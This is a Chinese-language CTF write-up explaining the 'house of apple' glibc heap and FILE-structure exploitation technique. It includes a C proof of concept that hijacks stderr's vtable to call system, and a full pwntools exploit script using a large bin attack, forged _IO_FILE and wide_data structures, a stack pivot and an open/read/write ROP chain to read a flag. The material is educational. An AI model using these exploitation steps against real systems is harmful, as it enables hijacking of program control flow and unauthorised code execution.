house of apple
攻击效果:劫持执行流
适用版本:glibc 2.23 到最新版本 2.36
利用条件:1、可以泄露出libc基地址和堆地址
2、可以任意地址写一个堆地址(一般用large 斌attack)
3、从
main
函数返回、调用exit
函数、通过__malloc_assert
触发
前置条件
large bin attack
随着glibc的不断更新,任意地址写一个堆地址的方法很少,
漏洞原理&&触发条件
1、让一个chunkA进入large bin2
2、修改chunkA的bk_nextsize=目标地址-0x20(减0x20是因为fd_nextsize到chunk地址的距离是0x20)
3、让一个比chunkA小的chunkB进入large bin
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;//mearn
bck = bck->bk;//bck现在指向large bin 中最小的chunk
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//大的chunk+0x20的地方
} gadgat—0x20 +0x20
攻击效果:目的地址内写入chunkB的首地址
IO_file结构体
file结构代表一个打开的文件
进程中的 FILE 结构会通过chain 域彼此连接形成一个链表,表头为IO_list_all。而在标准的I/O库中,程序运行就会加载3个文件流stdio、stdout、stderr。
struct _IO_FILE {
int _flags;
#define _IO_file_flags _flags
char* _IO_read_ptr;
char* _IO_read_end;
char* _IO_read_base;
char* _IO_write_base;
char* _IO_write_ptr;
char* _IO_write_end;
char* _IO_buf_base;
char* _IO_buf_end;
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset;
#define __HAVE_COLUMN
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
wide_data
struct _IO_wide_data
{
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;
wchar_t *_IO_write_base;
wchar_t *_IO_write_ptr;
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
wchar_t *_IO_save_base;
wchar_t *_IO_backup_base;
wchar_t *_IO_save_end;
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
_IO_jump_t
是glibc
中一个通用的结构体,用于实现文件流的多态性。它定义了一组函数指针,这些函数指针指向文件流的不同操作,如读写、定位、关闭等。而_IO_wstrn_jumps
是_IO_jump_t
的一个实例。它是用于实现宽字符流的。它继承了_IO_jump_t
的所有函数指针,并定义了一些额外的函数指针,用于支持宽字符流的特殊操作。回顾一下
_IO_jump_t
结构体 ,vtable
是它的一个实例
漏洞原理
_IO_file 中的vtable合法性检查不完整
_IO_wide_data的wide_vtable没有合法性检查
vtable中放的是_IO_file_jumps是 _IO_jump_t结构体的对象
_IO_jump_t
是 glibc
中一个通用的结构体,用于实现文件流的多态性。它定义了一组函数指针,这些函数指针指向文件流的不同操作,如读写、定位、关闭等。而 _IO_wfile_jumps
是 _IO_jump_t
的一个实例。它是用于实现宽字符流的。它继承了 _IO_jump_t
的所有函数指针,并定义了一些额外的函数指针,用于支持宽字符流的特殊操作。
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
};
调用链
_IO_wfile_jumps
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
看到上面的调用链就可以看到我们需要控制的有:
1 fd的vtable为_IO_wfile_jumps ,
2 call *(fp->_wide_data->_wide_vtable + 0x68)(fp)
相关函数&&进入条件
_IO_OVERFLOW
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
||
(_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
_IO_wfile_jumps
在进入exit会调用_IO_jumps_t结构体中的(_IO_overflow_t)类型的函数进行清空缓冲区如果我们将vtable中的io_jumps换成io_wfile_jumps就会执行 _IO_wfile_overflow函数
const struct _IO_jump_t _IO_wfile_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_new_file_finish),
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wfile_overflow),
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wfile_underflow),
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wdefault_pbackfail),
JUMP_INIT(xsputn, _IO_wfile_xsputn),
JUMP_INIT(xsgetn, _IO_file_xsgetn),
JUMP_INIT(seekoff, _IO_wfile_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_new_file_setbuf),
JUMP_INIT(sync, (_IO_sync_t) _IO_wfile_sync),
JUMP_INIT(doallocate, _IO_wfile_doallocate),
JUMP_INIT(read, _IO_file_read),
JUMP_INIT(write, _IO_new_file_write),
JUMP_INIT(seek, _IO_file_seek),
JUMP_INIT(close, _IO_file_close),
JUMP_INIT(stat, _IO_file_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
_IO_wfile_overflow
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) // 0x0008 check1
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)//0x0800 check2
{
if (f->_wide_data->_IO_write_base == 0) //check3
{
_IO_wdoallocbuf (f);//进入这个函数
}
_IO_wdoallocbuf
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)//check4
return;
if (!(fp->_flags & _IO_UNBUFFERED)) // 0x0002 check5
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)//进入这个函数
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
需要绕过的检查
flag字段设置为~(2 | 0x8 | 0x800)
fp->_wide_data->_IO_write_base == 0
fp->_wide_data->_IO_buf_base == 0
利用过程
伪造_IO_file的flag字段设置为~(2 | 0x8 | 0x800)(如果需要获得
shell
,可设置为sh;
,注意前面有两个空格)IO_file的vtable修改为_IO_wfile_jumps
绕过调用链中的一些检查
(fp->_wide_data->_IO_write_base == 0
fp->_wide_data->_IO_buf_base == 0)
修改wide_data->wide_vtable+0x68为自己想要执行代码的地址
触发执行 _IO_OVERFLOW
(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
poc
#include<stdio.h>
int main()
{
setbuf(stdout, 0);
setbuf(stdin, 0);
setvbuf(stderr, 0, 2, 0);
long long int libc_base=&printf-0x60770;
printf("libc_base --------> %llx\n",libc_base);
long long int stderr_address=libc_base+0x21a6a0;
printf("stderr address --------> %llx\n",stderr_address);
long long int wide_data=stderr_address+0xa0;
printf("wide_data --------> %llx\n",wide_data);
long long int vtable=stderr_address+0xd8;
printf("vtable --------> %llx\n",vtable);
long long int io_wfile_jumps=libc_base+0x2160c0;
long long int wide_data_write_base=*(long long int *)(wide_data)+0x18;
long long int wide_data_buf_base=*(long long int *)wide_data+0x30;
printf("io_wfile_jumps --------> %llx\n",io_wfile_jumps);
printf("wide_data_write_base --------> %llx\n",wide_data_write_base);
printf("wide_data_buf_base --------> %llx\n",wide_data_buf_base);
long long int wide_vtable=libc_base+0x219980;
printf("wide_vtable --------> %llx\n",wide_vtable);
long long int system=libc_base+0x50d60;
long long int write_base=stderr_address+0x20;
long long int buf_base=stderr_address+0x38;
long long int system_ptr=wide_vtable-8;
*(long long int *)vtable=io_wfile_jumps;
*(long long int *)write_base=0;
*(long long int *)wide_data_write_base=0;//调用链绕过检查
*(long long int *)wide_data_buf_base=0;//调用链绕过检查
*((long long int *)system_ptr)=system;//
*(long long int *)wide_vtable=libc_base+0x219910;
*(long long int *)stderr_address=0x3b68732020; //~(2 | 0x8 | 0x800);
exit(0);
return 0;
}
例题
保护策略
程序分析
是一个菜单题,增加,删除,修改,输出都有,只是修改和输出只能使用一次,并且只能输出0x10个字节
add函数有三种申请方式
1, size
2 ,size+0x10
3 ,2*size
delete函数有一个uaf漏洞
read函数
write函数
泄露libc地址和堆地址
因为只能打印0x10个数据,所以只能打印libc地址和堆地址相连的,这个情况只能在unsortedbin中出现
做法是
add(2)#0 这堆块也要做large bin attack中大的chunk
add(1)#1 防止合并
add(1)#2
add(1)#3 防止合并
delete(0)
delete(2)
write(0)
伪造IO_file结构体和wide_data
由于只能写一次,所以说我们只能在修改chunk0的同时将IO_file结构体wide_data和orw一起写入
这里有两个问题
1、就是我们利用large bin attack是将小的chunk地址写入到_IO_list_all中,但我们只能向大的chunk中输入
2、我们不能控制我们伪造的IO_file的flag字段(也就是chunk头prev_size和 size)
问题一:
我们们可以利用触发unlink
if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
{
if (fd->fd_nextsize == NULL) //不进
{
if (p->fd_nextsize == p)
fd->fd_nextsize = fd->bk_nextsize = fd;
else
{
fd->fd_nextsize = p->fd_nextsize;
fd->bk_nextsize = p->bk_nextsize;
p->fd_nextsize->bk_nextsize = fd;
p->bk_nextsize->fd_nextsize = fd;
}
}
else
{
p->fd_nextsize->bk_nextsize = p->bk_nextsize;
p->bk_nextsize->fd_nextsize = p->fd_nextsize; //p 指向的是将要取出的chunk
}
}
这个
p->bk_nextsize
此时是IO_list_all-0x20
的地址,而触发p->bk_nextsize->fd_nextsize = p->fd_nextsize
就将大堆块的地址写入了( IO_list_all-0x20)+0x20 的位置,所以只要再申请一个和小堆块等大的堆块,触发这个unlink
就可以将大堆块的地址写入IO_list_all
中了
问题二:
既然我们伪造的第一个IO_file结构体无法控制flag字段,那我们就在伪造一个。
1、控制第一个结构体的chain字段为我们伪造的第二个结构体的地址
2、控制一个结构体的IO_write_base>IO_write_ptr(控制不触发IO_OVERFLOW)让结构体指向我们第二个结构体
第一个IO_file结构体
![image-20230218101441609](/i/l/?n=23&i=blog/2846970/202302/2846970-20230218101443074-958495642.png)
第二个结构体
![image-20230218101534469](/i/l/?n=23&i=blog/2846970/202302/2846970-20230218101535724-203022616.png)
wide_data
![image-20230218101824227](/i/l/?n=23&i=blog/2846970/202302/2846970-20230218101825425-2042506539.png)
![image-20230218101844797](/i/l/?n=23&i=blog/2846970/202302/2846970-20230218101845802-1162538904.png)
由于我们要大orw,需要栈迁移一下,那就需要控制rbp并执行leave
我这里用的是下面的一个gadget 详细看https://bbs.kanxue.com/thread-272098.htm
(此时的rdi就是p的flag字段)既然rdi+0x48可控,那么rbp可控,进而rax可控,执行leave_ret
控制rsp为 add rsp xxx,ret;的地址,跳过中间一些数据直接到orw的地址,不能直接填orw的地址减8,这样会破坏我们布置的orw结构因为rbp+0x18为我们布置的一个地址
<svcudp_reply+26>: mov rbp,QWORD PTR [rdi+0x48]
<svcudp_reply+30>: mov rax,QWORD PTR [rbp+0x18]
<svcudp_reply+34>: lea r13,[rbp+0x10]
<svcudp_reply+38>: mov DWORD PTR [rbp+0x10],0x0
<svcudp_reply+45>: mov rdi,r13
<svcudp_reply+48>: call QWORD PTR [rax+0x28]
调试过程
exp
from tools import*
p,e,libc=load('oneday')
context(arch='amd64',os='linux',log_level='debug')
def add(choise):
p.sendlineafter('enter your command: \n',str(1))
p.sendlineafter('choise: ',str(choise))
def delete(index):
p.sendlineafter('enter your command: \n',str(2))
p.sendlineafter('Index:',str(index))
def read(index,context):
p.sendlineafter('enter your command: \n',str(3))
p.sendlineafter('Index:',str(index))
p.sendafter('Message:',context)
def write(index):
p.sendlineafter('enter your command:',str(4))
p.sendlineafter('Index:',str(index))
p_addr=0x13B9
p_del=0x13C3
p_read=0x13E0
p_write=0x13FD
p.sendlineafter("enter your key >>\n",str(8))
add(2)#0
add(1)#1
add(1)#2
add(1)#3
delete(0)
delete(2)
write(0)
p.recvuntil('Message: \n')
leak_libc=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_libc')
p.recv(2)
leak_heap=u64(p.recv(6).ljust(8,b'\x00'))
log_addr('leak_heap')
libc_base=leak_libc-0x219ce0
io_list_all=libc_base+libc.symbols['_IO_list_all']
_IO_write_jumps=libc_base
open_addr=libc_base+libc.symbols['open']
read_addr=libc_base+libc.symbols['read']
write_addr=libc_base+libc.symbols['write']
pop_rax=libc_base+0x0000000000045eb0
pop_rdi=libc_base+0x000000000002a3e5
pop_rsi=libc_base+0x000000000002be51
pop_rdx_r12=libc_base+0x000000000011f497
leave_ret=libc_base+0x00000000000562ec
_IO_wfile_jumps=libc_base+0x2160c0
syscall=libc_base+0x11ea20
magic_gadget=libc_base+0x16a1fa
add_rsp_418=libc_base+0x000000000012135d
add(1)
delete(2)
io_list=p64(0xdeadbeef)
io_list+=p64(~(2| 0x8 | 0x800)+(1<<64))
io_list+=p64(0)*3
io_list+=p64(0)+p64(1)
io_list+=p64(0)
io_list+=p64(0xaaaaaaaa)*2
io_list+=p64(leak_heap-0xf60-0x18)#rdi 0x48
io_list+=p64(0)*10
io_list+=p64(leak_heap-0xf50)# _wide_data
io_list+=p64(0)*4
io_list+=p64(leak_heap-0xe60) # rbp
io_list+=p64(add_rsp_418)
io_list+=p64(_IO_wfile_jumps)
#wide_data
wide_data=p64(leak_heap-0xf58-0x28) #-0xf60
wide_data+=p64(leave_ret)
wide_data+=p64(0)*12 #leak_heap-0xf50
wide_data+=p64(leak_heap-0xf50-0x28)
wide_data+=p64(0)*8
wide_data+=p64(0) #rdi+0x48
wide_data+=p64(0)*3
wide_data+=p64(magic_gadget)
wide_data+=p64(leak_heap-0xe80-0x8-0x68)*3
#open
rop=p64(pop_rdi)+p64(2)#
rop+=p64(pop_rsi)+p64(leak_heap-0xb56)
rop+=p64(pop_rax)+p64(2)
rop+=p64(pop_rdx_r12)
rop+=p64(0)*2
rop+=p64(syscall)
#read
rop+=p64(pop_rdi)+p64(3)
rop+=p64(pop_rsi)+p64(leak_heap)
rop+=p64(pop_rdx_r12)+p64(0x200)+p64(0)
rop+=p64(read_addr)
#write
rop+=p64(pop_rdi)+p64(1)
rop+=p64(pop_rsi)+p64(leak_heap)
rop+=p64(pop_rdx_r12)+p64(0x100)+p64(0)
rop+=p64(pop_rax)+p64(1)
rop+=p64(write_addr)
payload=p64(libc_base+0x21a1f0)*2+p64(io_list_all)+p64(io_list_all-0x20)#io_write_base控制为io_list_all 因为需要大于io_write_ptr不触发overflow
payload+=p64(0)*7
payload+=p64(leak_heap-0x1040)#chain 指向了第一个伪造的结构体的vtable
payload+=p64(0)*15
payload+=io_list
payload+=wide_data
payload+=p64(0)*(62+24+12)
payload+=b'./flag\x00\x00'
payload+=rop
read(0,payload.ljust(0x880,b'\x00'))
debug(p,'pie',p_addr)
add(3)
#debug(p,'pie',p_addr,p_del,p_read,0xE31,0x13B7)
add(1)
p.sendlineafter('enter your command: \n',str(5))
p.interactive()
#0x202040 0xa1790 0xa180f p *(struct _IO_wide_data *) p *(struct _IO_FILE_plus *) 0x16a1fa
参考
https://zikh26.github.io/posts/19609dd.html
https://www.roderickchan.cn/post/house-of-apple-一种新的glibc中io攻击方法-2/
标签:wide,apple,house,write,long,JUMP,base,IO From: https://www.cnblogs.com/trunk/p/17133572.html